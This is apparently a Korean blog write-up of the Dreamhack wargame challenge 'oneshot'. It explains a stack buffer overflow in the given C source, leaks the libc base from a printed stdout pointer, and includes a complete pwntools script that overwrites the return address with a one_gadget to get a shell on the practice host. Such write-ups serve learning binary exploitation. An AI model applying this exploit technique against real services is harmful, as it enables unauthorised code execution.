728x90
oneshot
Description 이 문제는 작동하고 있는 서비스(oneshot)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의 내용을 워게임 사이트에
dreamhack.io
문제 분석
canary는 없고 partial RELro가 적용되어있는 것을 볼 수 있다.
코드는 아래와 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if (check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
|
cs |
stdout의 주소를 보여주고, msg에 입력을 받으나, 바로 다음에 check 변수에 영향을 미친다면 바로 종료를 해버리는 코드이다.
즉, read로 BOF를 발생시키더라도 check 변수는 0으로 맞춰주어야하고, 카나리가 없으므로 main의 리턴 주소에 one_gadget을 넣으면 execve(“/bin/sh”)를 실행시킬 수 있다.
이를 위해 먼저 libc의 주소를 알아야하고, 주어진 정보에 따르면 stdout의 주소를 통해 얻을 수 있을 것이다.
1
2
3
|
p.recvuntil("stdout: ")
stdout_addr = int(p.recvline()[:-1], 16)
libc_base = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
|
cs |
Exploit
먼저 gdb로 살펴보면,
rbp - 0x20에 msg 변수가 저장되어 있고,
rbp - 0x8 부분과 0 을 비교하도록 되어있다.
즉, 이를 도식화하면 아래와 같다.
그러므로 one_gadget을 구해주고
위의 payload를 작성해주면 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
from pwn import *
p = remote("host3.dreamhack.games", 16916)
e = ELF("./oneshot")
libc = ELF("./libc-2.23.so")
one_gadget = 0xf1247
p.recvuntil("stdout: ")
stdout_addr = int(p.recvline()[:-1], 16)
libc_base = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
one_gadget = libc_base + one_gadget
buf = b"A" * 0x18
buf += p64(0)
buf += b"A" * 0x8
buf += p64(one_gadget)
p.sendafter("MSG: ", buf)
p.interactive()
|
cs |
'Hacking > system' 카테고리의 다른 글
hook (0) | 2024.01.18 |
---|---|
Free Hook Overwrite (0) | 2024.01.18 |
Return Oriented Programming (0) | 2024.01.18 |